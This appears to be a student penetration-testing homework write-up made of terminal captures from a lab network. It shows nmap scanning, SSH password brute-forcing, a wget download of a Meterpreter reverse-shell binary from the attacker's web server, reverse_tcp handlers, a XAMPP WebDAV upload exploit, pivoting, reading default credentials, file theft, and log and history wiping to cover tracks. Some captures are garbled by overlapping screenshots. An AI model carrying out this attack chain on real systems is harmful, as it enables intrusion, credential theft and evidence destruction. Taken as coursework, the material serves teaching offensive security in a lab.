
Penetration Testing 2 Homework Assignment

Pen-testing & Network Exploitation: DMZ Exploitation Capstone

Scan known web facing target IP

```
Frustrated with proxy pivoting? Upgrade to layer-2 VPN pivoting with
Metasploit Pro -- learn more on http://rapid7.com/metasploit

      =[ metasploit v4.12.22-dev
+ -- ---=[ 1577 exploits - 906 auxiliary - 272 post          ]
+ -- ---=[ 455 payloads - 39 encoders - 8 nops            ]
+ -- ---=[ Free Metasploit Pro trial: http://r-7.co/trymsp ]

msf > workspace -a dmz_scan
[*] Added workspace: dmz_scan
msf > workspace
 default
* dmz_scan
msf > db nmap -A -Pn 198.51.100.1
[*] Nmap: Starting Nmap 7.25BETA1 ( https://nmap.org ) at 2020-03-24 14:03 EDT
[*] Nmap: 'mass_dns: warning: Unable to open /etc/resolv.conf. Try using --system-dns or specify valid servers with --dns-servers'
[*] Nmap: 'mass_dns: warning: Unable to determine any DNS servers. Reverse DNS is disabled. Try using --system-dns or specify valid servers with --dns-servers'
[*] Nmap: Nmap scan report for 198.51.100.1
[*] Nmap: Host is up (0.00036s latency).
[*] Nmap: Not shown: 993 filtered ports
[*] Nmap: PORT      STATE    SERVICE   VERSION
[*] Nmap: 21/tcp    open     ftp       vsftpd 2.3.4
```

```
[*] Nmap: Service Info: Host: AOE.local; OSs: Unix, Linux, Windows; CPE: cpe:/o:linux:linux_kernel, cpe:/o:microsoft:windows
[*] Nmap: Service detection performed. Please report any incorrect results at https://nmap.org/submit/ .
[*] Nmap: Nmap done: 1 IP address (1 host up) scanned in 18.81 seconds
msf > db_nmap -sT -Pn 198.51.100.1
[*] Nmap: Starting Nmap 7.25BETA1 ( https://nmap.org ) at 2020-03-23 20:48 EDT
[*] Nmap: 'mass_dns: warning: Unable to open /etc/resolv.conf. Try using --system-dns or specify valid servers with --dns-servers'
[*] Nmap: 'mass_dns: warning: Unable to determine any DNS servers. Reverse DNS is disabled. Try using --system-dns or specify valid servers with --dns-servers'
[*] Nmap: Nmap scan report for 198.51.100.1
[*] Nmap: Host is up (0.00049s latency).
[*] Nmap: Not shown: 993 filtered ports
[*] Nmap: PORT      STATE    SERVICE
[*] Nmap: 21/tcp    open     ftp
[*] Nmap: 22/tcp    open     ssh
[*] Nmap: 25/tcp    open     smtp
[*] Nmap: 53/tcp    open     domain
[*] Nmap: 80/tcp    open     http
[*] Nmap: 110/tcp   closed   pop3
[*] Nmap: 443/tcp   open     https
[*] Nmap: Nmap done: 1 IP address (1 host up) scanned in 4.85 seconds
msf > 
```

```
[*] Nmap: 22/tcp open ssh
[*] Nmap: 25/tcp open smtp
[*] Nmap: 53/tcp open domain
[*] Nmap: 80/tcp open http
[*] Nmap: 110/tcp closed pop3
[*] Nmap: 443/tcp open https
[*] Nmap done: 1 IP address (1 host up) scanned in 4.85 seconds
msf > hosts
Hosts
=====
address      mac          name  os_name  os_flavor  os_sp   purpose  info   comments
-----+-----+-----+-----+-----+-----+-----+-----+-----+
198.51.100.1 00:0C:29:22:BA:20        Linux           2.6.X    server
msf > services
Services
=====
host      port  proto  name  state  info
-----+-----+-----+-----+-----+-----+
198.51.100.1 21    tcp    ftp    open   vsftpd 2.3.4
198.51.100.1 22    tcp    ssh    open   OpenSSH 4.7p1 Debian 8ubuntul protocol 2.0
198.51.100.1 25    tcp    smtp   open   SLmail smtpd 5.5.0.4433
198.51.100.1 53    tcp    domain open   Microsoft DNS 6.0.6001
198.51.100.1 80    tcp    http   open   Apache httpd 2.2.14 (Win32) DAV/2 mod_ssl/2.2.14 OpenSSL/0.9.8l mod_autoindex_color PHP/5.3.1 mod_apreq2-20090110/2.7.1 mod_perl/2.0.4 Perl/v5.10.1
198.51.100.1 110   tcp    pop3   closed
198.51.100.1 443   tcp    https  open   Apache httpd 2.2.14 (Win32) DAV/2 mod_ssl/2.2.14 OpenSSL/0.9.8l mod_autoindex_color PHP/5.3.1 mod_apreq2-20090110/2.7.1 mod_perl/2.0.4 Perl/v5.10.1
msf > ]
```

```
root-kali-wan$ nc 198.51.100.1 21
220 (vsFTPD 2.3.4)
^C
root-kali-wan$ nc 198.51.100.1 22
SSH-2.0-OpenSSH_4.7p1 Debian-8ubuntul
^C
root-kali-wan$ nc 198.51.100.1 25
220 AOE.local SMTP Server SLmail 5.5.0.4433 Ready ESMTP spoken here
^C
root-kali-wan$ ]
```

SSH exploitation

Name	Disclosure Date	Rank	Description
ion			

auxiliary/dos/windows/ssh/sysax_sshd_kexchange	2013-03-17	normal	Sysax Mu
lti-Server 6.10 SSHD Key Exchange Denial of Service			
auxiliary/fuzzers/ssh/ssh_kexinit_corrupt		normal	SSH Key
Exchange Init Corruption			
auxiliary/fuzzers/ssh/ssh_version_15		normal	SSH 1.5
Version Fuzzer			
auxiliary/fuzzers/ssh/ssh_version_2		normal	SSH 2.0
Version Fuzzer			
auxiliary/fuzzers/ssh/ssh_version_corrupt		normal	SSH Vers
ion Corruption			
auxiliary/gather/apache_karaf_command_execution	2016-02-09	normal	Apache K
araf Default Credentials Command Execution			
auxiliary/scanner/http/gitlab_user_enum	2014-11-21	normal	GitLab U
ser Enumeration			
auxiliary/scanner/ssh/apache_karaf_command_execution	2016-02-09	normal	Apache K
araf Default Credentials Command Execution			
auxiliary/scanner/ssh/kerberos_sftp_enumusers	2014-05-27	normal	Cerberus
FTP Server SFTP Username Enumeration			
auxiliary/scanner/ssh/detect_kippo		normal	Kippo SS
H Honeypot Detector			
auxiliary/scanner/ssh/fortinet_backdoor	2016-01-09	normal	Fortinet
SSH Backdoor Scanner			
auxiliary/scanner/ssh/juniper_backdoor	2015-12-20	normal	Juniper

```
msf > use auxiliary/scanner/ssh/ssh_version
msf auxiliary(ssh_version) > show options

Module options (auxiliary/scanner/ssh/ssh_version):
Name  Current Setting  Required  Description
-----+-----+-----+-----+
RHOSTS          yes      The target address range or CIDR identifier
RPORT           22       yes      The target port
THREADS         1        yes      The number of concurrent threads
TIMEOUT         30       yes      Timeout for the SSH probe

msf auxiliary(ssh_version) > set RHOSTS 198.51.100.1
RHOSTS => 198.51.100.1
```

nano 2.6.3		File: pass	Modified
msf	auxiliary(ssh_login) > use auxiliary/scanner/ssh/ssh_login		
password	[!] Unknown command: optionw.		
admin	msf auxiliary(ssh_login) > options		
msfadmin	Module options (auxiliary/scanner/ssh/ssh_login):		
administrator			
userpassword		Current Setting Required Description	
	-----	-----	-----
nano 2.6.3		File: user	Modified
msf	auxiliary(ssh_login) > use auxiliary/scanner/ssh/ssh_login		
admin	[!] Unknown command: optionw.		
administrator	auxiliary(ssh_login) > options		
msfadmin	Module options (auxiliary/scanner/ssh/ssh_login):		
Joe			
user	Name	Current Setting	Required Description
student	-----	-----	-----
	BLANK_PASSWORDS	false	no Try blank passwords for all users
	BRUTEFORCE_SPEED	5	yes How fast to bruteforce, from 0 to 5
	DB_ALL_CREDS	false	no Try each user/password couple stored in the cu
	database		
	DB_ALL_PASS	false	no Add all passwords in the current database to t
	st		
	DB_ALL_USERS	false	no Add all users in the current database to the l
	-----	-----	-----

```

msf auxiliary(ssh_login) > set RHOSTS 198.51.100.1
RHOSTS => 198.51.100.1
msf auxiliary(ssh_login) > setnUSER_FILE /root/user
[-] Unknown command: setnUSER_FILE.
msf auxiliary(ssh_login) > set USER_FILE /root/user
USER_FILE => /root/user
msf auxiliary(ssh_login) > set PASS_FILE /root/pass
PASS_FILE => /root/pass
msf auxiliary(ssh_login) > run

[*] SSH - Starting bruteforce
[-] SSH - Failed: 'admin:password'
[-] SSH - Failed: 'admin:admin'
[-] SSH - Failed: 'admin:msfadmin'
[-] SSH - Failed: 'admin:administrator'
[-] SSH - Failed: 'admin:userpassword'
[-] SSH - Failed: 'administrator:password'
[-] SSH - Failed: 'administrator:admin'
[-] SSH - Failed: 'administrator:msfadmin'
[-] SSH - Failed: 'administrator:administrator'
[-] SSH - Failed: 'administrator:userpassword'
[-] SSH - Failed: 'msfadmin:password'
[-] SSH - Failed: 'msfadmin:admin'
[+] SSH - Success: 'msfadmin:msfadmin' ''
[*] 198.51.100.1 - Command shell session 1 closed. Reason: Died from EOFError
[*] Command shell session 1 opened (198.51.100.50:37207 -> 198.51.100.1:22) at 2020-03-23 21:22:32
-0400

```

```
root-kali-wan$ ssh msfadmin@198.51.100.1
msfadmin@198.51.100.1's password:
Linux metasploitable 2.6.24-16-server #1 SMP Thu Apr 10 13:58:00 UTC 2008 i686

The programs included with the Ubuntu system are free software;
the exact distribution terms for each program are described in the
individual files in /usr/share/doc/*copyright.

Ubuntu comes with ABSOLUTELY NO WARRANTY, to the extent permitted by
applicable law.

To access official Ubuntu documentation, please visit:
http://help.ubuntu.com/
No mail.
Last login: Wed Jul 26 10:10:35 2017
msfadmin@metasploitable$
```

Scan and Exploit Internal Segment

```
443/tcp open https
MAC Address: 00:0C:29:AE:09:44 (VMware)

Interesting ports on 10.10.10.100:
PORT      STATE SERVICE
21/tcp    open  ftp
22/tcp    closed ssh
25/tcp    open  smtp
80/tcp    open  http
110/tcp   closed pop3
443/tcp   open  https
MAC Address: 00:15:5D:01:80:02 (Microsoft)

Interesting ports on 10.10.10.200:
PORT      STATE SERVICE
21/tcp    open  ftp
22/tcp    open  ssh
25/tcp    open  smtp
80/tcp    open  http
110/tcp   closed pop3
443/tcp   closed https

Nmap done: 256 IP addresses (3 hosts up) scanned in 29.890 seconds
msfadmin@metasploitable$
```

```
Nmap done: 256 IP addresses (3 hosts up) scanned in 29.890 seconds
msfadmin-metasploitable$ nc -vn 10.10.10.100 21
(UNKNOWN) [10.10.10.100] 21 (ftp) open
220 FileZilla Server version 0.9.33 beta written by Tim Kosse (Tim.Kosse@gr
ase visit http://sourceforge.

msfadmin-metasploitable$ nc -vn 10.10.10.100 80 HEAD /HTTP/1.1
(UNKNOWN) [10.10.10.100] 80 (www) open
HEAD /HTTP/1.1
<!DOCTYPE HTML PUBLIC "-//IETF//DTD HTML 2.0//EN">
<html><head>
<title>400 Bad Request</title>
</head><body>
<h1>Bad Request</h1>
<p>Your browser sent a request that this server could not understand.<br />
</p>
<hr>
<address>Apache/2.2.14 (Win32) DAV/2 mod_ssl/2.2.14 OpenSSL/0.9.8l mod_auto
or PHP/5.3.1 mod_apreq2-20090110/2.7.1 mod_perl/2.0.4 Perl/v5.10.1 Server a
st Port 80</address>
</body></html>
invalid port HEAD : Bad file descriptor
msfadmin-metasploitable$■

msfadmin-metasploitable$ sudo nmap -PN 10.10.10.0/24 -p 21,22,25,80,110,443
[sudo] password for msfadmin:

Starting Nmap 4.53 ( http://insecure.org ) at 2020-03-24 11:00 EDT
■
```

```
Public Terminal
Templates
user Edit View Search Terminal Help
Videos li-wan$ls
msf exploit(handler) > cd /var/www/html
msf exploit(handler)> ls
[*] exec: ls$ls
shell.elf
index.htmlwan$ls -la
total 12
msf exploit(handler)> use exploit/multi/handler
msf exploit(handler)> set LHOST 198.51.100.50
LHOST => 198.51.100.50 155 Mar 24 15:43 shell.elf
msf exploit(handler)> set LPORT 443
LPORT => 443$pwd
msf exploit(handler) > set PAYLOAD linux/x86/meterpreter/reverse_tcp
PAYLOAD => linux/x86/meterpreter/reverse_tcp
msf exploit(handler) > exploit -j -z
[*] Exploit running as background job 43 .
drwxr-xr-x 3 root root 4096 Mar 24 15:20 ..
[*] Started reverse TCP handler on 198.51.100.50:443
[*] Starting the payload handler...
msf exploit(handler) > [ ]
```

```
root-kali-wan$ls
index.html tools msf > use exploit/multi/handler
root-kali-wan$cd tools
root-kali-wan$cd msf exploit(handler) > ls
[*] exec: ls
shell.elf
root-kali-wan$ls -la
total 12
drwxr-xr-x 2 root root 4096 Mar 24 15:43 .
drwxr-xr-x 3 root root 4096 Mar 24 15:20 ..
-rw-r--r-- 1 root root 155 Mar 24 15:43 shell.elf
root-kali-wan$sudo service apache2 start
root-kali-wan$pwd
/var/www/html/tools
root-kali-wan$ls -la
total 12
drwxr-xr-x 2 root root 4096 Mar 24 15:43 .
drwxr-xr-x 3 root root 4096 Mar 24 15:20 ..
-rw-r--r-- 1 root root 155 Mar 24 15:43 shell.elf
root-kali-wan$[ ] index.html
```

```
msfadmin-metasploitable$ sudo wget http://198.51.100.50/tools/shell.elf
--16:07:30-- http://198.51.100.50/tools/shell.elf
              => `shell.elf'
Connecting to 198.51.100.50:80... connected.
HTTP request sent, awaiting response... 200 OK
Length: 155

100%[=====] 155  ----K/s

16:07:30 (30.27 KB/s) - `shell.elf' saved [155/155]

msfadmin-metasploitable$
```

```
msf > use exploit/multi/handler
msf exploit(handler) > set LHOST 198.51.100.50
LHOST => 198.51.100.50
msf exploit(handler) > set LPORT 5555
LPORT => 5555
msf exploit(handler) > set PAYLOAD
```

```
msf exploit(handler) > set PAYLOAD linux/x86/meterpreter/reverse_tcp
PAYLOAD => linux/x86/meterpreter/reverse_tcp
msf exploit(handler) > exploit -j -z
[*] Exploit running as background job.

[*] Started reverse TCP handler on 198.51.100.50:5555
[*] Starting the payload handler...
msf exploit(handler) >
```

```
Connecting to 198.51.100.50:80... failed: Connection refused.
msfadmin-metasploitable$ sudo wget http://198.51.100.50/tools/shell1.elf
--18:11:46-- http://198.51.100.50/tools/shell1.elf
              => `shell1.elf'
Connecting to 198.51.100.50:80... connected.
HTTP request sent, awaiting response... 404 Not Found
18:11:46 ERROR 404: Not Found.

msfadmin-metasploitable$
```

```
msf exploit(handler) >
[*] Transmitting intermediate stager for over-sized stage...(105 bytes)
[*] Sending stage (1495599 bytes) to 10.10.10.200
[*] Meterpreter session 1 opened (198.51.100.50:5555 -> 10.10.10.200:43216) at 2
020-03-24 20:19:49 -0400
sessions -l

Active sessions
=====
Id  Type          Information
--  --           Connection
1   meterpreter x86/linux uid=1000, gid=1000, euid=1000, egid=1000, suid=1000
, sgid=1000 @ metasploitable 198.51.100.50:5555 -> 10.10.10.200:43216 (10.10.10
.200)

msf exploit(handler) > sessions -i 1
[*] Starting interaction with 1...

meterpreter > 
```

```
=====
Name      : eth0
Hardware MAC : 00:0c:29:13:7a:b9
MTU       : 1500
Flags     : UP BROADCAST RUNNING MULTICAST
IPv4 Address : 10.10.10.200
IPv4 Netmask : 255.255.255.0
IPv6 Address : fe80::20c:29ff:fe13:7ab9
IPv6 Netmask : ffff:ffff:ffff:ffff::
```



```
Interface 3
=====
Name      : eth1
Hardware MAC : 00:0c:29:13:7a:c3
MTU       : 1500
Flags     : UP BROADCAST RUNNING MULTICAST
IPv4 Address : 192.168.11.8
IPv4 Netmask : 255.255.255.0
IPv6 Address : fe80::20c:29ff:fe13:7ac3
IPv6 Netmask : ffff:ffff:ffff:ffff::
```



```
meterpreter > 
```

```
msf exploit(handler) > use exploit/windows/http/xampp_webdav_upload_php
msf exploit(xampp_webdav_upload_php) > options

Module options (exploit/windows/http/xampp_webdav_upload_php):
Name      Current Setting  Required  Description
----      -----          -----    -----
FILENAME            no        The filename to give the payload. (Leave Blank for Random)
PASSWORD           xampp     no        The HTTP password to specify for authentication
PATH                /webdav/   yes      The path to attempt to upload
Proxies             no        A proxy chain of format type:host:port[,type:host:port][...]
RHOST              yes       The target address
RPORT               80       yes      The target port
SSL                 false     no        Negotiate SSL/TLS for outgoing connections
USERNAME           wampp     no        The HTTP username to specify for authentication
VHOST              no        HTTP server virtual host

Exploit target:

Id  Name
--  --
 0  Automatic

msf exploit(xampp_webdav_upload_php) > 
```

```
msf exploit(xampp_webdav_upload_php) > exploit
[*] Started reverse TCP handler on 198.51.100.50:5555
[*] Uploading Payload to /webdav/FaBaT01.php
[*] Attempting to execute Payload
[*] Sending stage (33721 bytes) to 10.10.10.100
[*] Meterpreter session 2 opened (198.51.100.50:5555 -> 10.10.10.100:49160) at 2020-03-24 20:47:09
00
```

```
meterpreter > cat passwords.txt
### XAMPP Default Passwords ###
```

```
1) MySQL (phpMyAdmin):
```

```
User: root
Password:
(means no password!)
```

```
2) FileZilla FTP:
```

```
User: newuser
Password: wampp
```

```
User: anonymous
Passwort: some@mail.net
```

```
3) Mercury:
```

```
EMail: newuser@localhost
User: newuser
Password: wampp
```

```
4) WEBDAV:
```

```
User: wampp
Password: xampp
meterpreter > 
```

```
meterpreter > pwd
```

```
C:\xampp\apache
```

```
meterpreter > cd logs
```

```
meterpreter > pwd
```

```
C:\xampp\apache\logs
```

```
meterpreter > ls
```

```
Listing: C:\xampp\apache\logs
```

```
=====
Mode          Size      Type  Last modified      Name
----          ----      ---   -----           ---
100666/rw-rw-rw-  0       fil   2015-04-22 08:42:13 -0400  Dav.Lock.dir
100666/rw-rw-rw-  0       fil   2015-04-22 08:42:13 -0400  Dav.Lock.pag
100666/rw-rw-rw-  8164896  fil   2015-01-31 19:27:46 -0500  access.log
100666/rw-rw-rw-  4760775  fil   2015-01-31 19:27:46 -0500  error.log
100666/rw-rw-rw-  6        fil   2015-01-31 19:27:47 -0500  httpd.pid
100666/rw-rw-rw-  1998442  fil   2015-01-31 19:27:46 -0500  ssl_request.log
```

```
meterpreter > download access.log
```

```
[*] downloading: access.log -> access.log
```

```
[*] download : access.log -> access.log
```

```
meterpreter >
```

```

meterpreter > cd C:\xampp\phpMyAdmin
[-] stdapi_fs_chdir: Operation failed: 1
meterpreter > cd "C:\xampp\phpMyAdmin"
[-] stdapi_fs_chdir: Operation failed: 1
meterpreter > cd "C:/xampp/phpMyAdmin"
meterpreter > pwd
C:\xampp\phpMyAdmin
meterpreter > download db_structure.php
[-] Unknown command: download:
meterpreter > download "db_structure.php"
[*] downloading: db_structure.php -> db_structure.php
[*] download : db_structure.php -> db_structure.php
meterpreter > download "user_password.php"
[*] downloading: user_password.php -> user_password.php
[*] download : user_password.php -> user_password.php
meterpreter > cd C:/Windows/System32/winevt/logs
meterpreter > download "DNS Server.evtx"
[*] downloading: DNS Server.evtx -> DNS Server.evtx
[*] download : DNS Server.evtx -> DNS Server.evtx
meterpreter >

```

```

64 bytes from 192.168.1.1: icmp_seq=7 ttl=64 time=0.125 ms
64 bytes from 192.168.1.1: icmp_seq=8 ttl=64 time=0.132 ms
64 bytes from 192.168.1.1: icmp_seq=9 ttl=64 time=0.160 ms
64 bytes from 192.168.1.1: icmp_seq=10 ttl=64 time=0.127 ms
64 bytes from 192.168.1.1: icmp_seq=11 ttl=64 time=0.125 ms
64 bytes from 192.168.1.1: icmp_seq=12 ttl=64 time=0.162 ms
64 bytes from 192.168.1.1: icmp_seq=13 ttl=64 time=0.133 ms
64 bytes from 192.168.1.1: icmp_seq=14 ttl=64 time=0.108 ms
64 bytes from 192.168.1.1: icmp_seq=15 ttl=64 time=0.116 ms
64 bytes from 192.168.1.1: icmp_seq=16 ttl=64 time=0.153 ms
64 bytes from 192.168.1.1: icmp_seq=17 ttl=64 time=0.141 ms
64 bytes from 192.168.1.1: icmp_seq=18 ttl=64 time=0.132 ms
64 bytes from 192.168.1.1: icmp_seq=19 ttl=64 time=0.117 ms
64 bytes from 192.168.1.1: icmp_seq=20 ttl=64 time=0.151 ms
64 bytes from 192.168.1.1: icmp_seq=21 ttl=64 time=0.127 ms

```

Covering Tracks

```

Mar 24 15:03:37 metasploitable sshd[5486]: pam_unix(sshd:auth): authentication failure; logname= uid=0 euid=0 tty=ssh ruser= rhost=198.51.100.50
Mar 24 15:03:39 metasploitable sshd[5486]: Failed password for invalid user anny
sia from 198.51.100.50 port 44435 ssh2
Mar 24 15:12:03 metasploitable sshd[5431]: Received disconnect from 198.51.100.5
0: 11: disconnected by user
Mar 24 15:12:03 metasploitable sshd[5431]: pam_unix(sshd:session): session close
d for user msfadmin
Mar 24 16:02:15 metasploitable sshd[5582]: Accepted password for msfadmin from 1
98.51.100.50 port 34782 ssh2
Mar 24 16:02:15 metasploitable sshd[5585]: pam_unix(sshd:session): session opene
d for user msfadmin by (uid=0)
Mar 24 16:26:50 metasploitable sshd[5635]: Accepted password for msfadmin from 1
98.51.100.50 port 37934 ssh2
Mar 24 16:26:50 metasploitable sshd[5637]: pam_unix(sshd:session): session opene
d for user msfadmin by (uid=0)
Mar 24 18:18:59 metasploitable sshd[5585]: pam_unix(sshd:session): session close
d for user msfadmin
Mar 24 18:37:11 metasploitable sshd[5873]: Accepted password for msfadmin from 1
98.51.100.50 port 38526 ssh2
Mar 24 18:37:11 metasploitable sshd[5877]: pam_unix(sshd:session): session opene
d for user msfadmin by (uid=0)
msfadmin@metasploitable:~$ 

```

```
Mar 24 18:37:11 metasploitable sshd[5873]: Accepted password for msfadmin from 198.51.100.50 port
38526 ssh2
Mar 24 18:37:11 metasploitable sshd[5877]: pam_unix(sshd:session): session opened for user msfadmin by (uid=0)
msfadmin-metasploitable$ echo $HISTSIZE
500
msfadmin-metasploitable$ HISTSIZE=0
msfadmin-metasploitable$ history
msfadmin-metasploitable$ sudo shred -zu /root/.bash_history
msfadmin-metasploitable$ cd /var/log/
msfadmin-metasploitable$ ls
apache2          daemon.log.3.gz  installer      mail.log.1.gz  syslog.0
apparmor         debug           kern.log       mail.log.2.gz  syslog.1.gz
apt              debug.0        kern.log.0     mail.log.3.gz  syslog.2.gz
auth.log         debug.1.gz    kern.log.1.gz   mail.warn     syslog.3.gz
auth.log.0       debug.2.gz    kern.log.2.gz   messages     syslog.4.gz
auth.log.1.gz    dist-upgrade lastlog       messages.0    syslog.5.gz
auth.log.2.gz    dmesg          lpr.log       messages.1.gz syslog.6.gz
auth.log.3.gz    dmesg.0       mail.err      messages.2.gz tomcat5.5
boot             dmesg.1.gz    mail.info     messages.3.gz udev
bttmp            dmesg.2.gz    mail.info.0   mysql        user.log
bttmp.1          dmesg.3.gz    mail.info.1.gz news        vsftpd.log
daemon.log       dmesg.4.gz    mail.info.2.gz postgresql  wtmp
daemon.log.0     dpkg.log      mail.info.3.gz proftpd     wtmp.1
daemon.log.1.gz  dpkg.log.1   mail.log       samba
daemon.log.2.gz  fsck          mail.log.0    syslog
```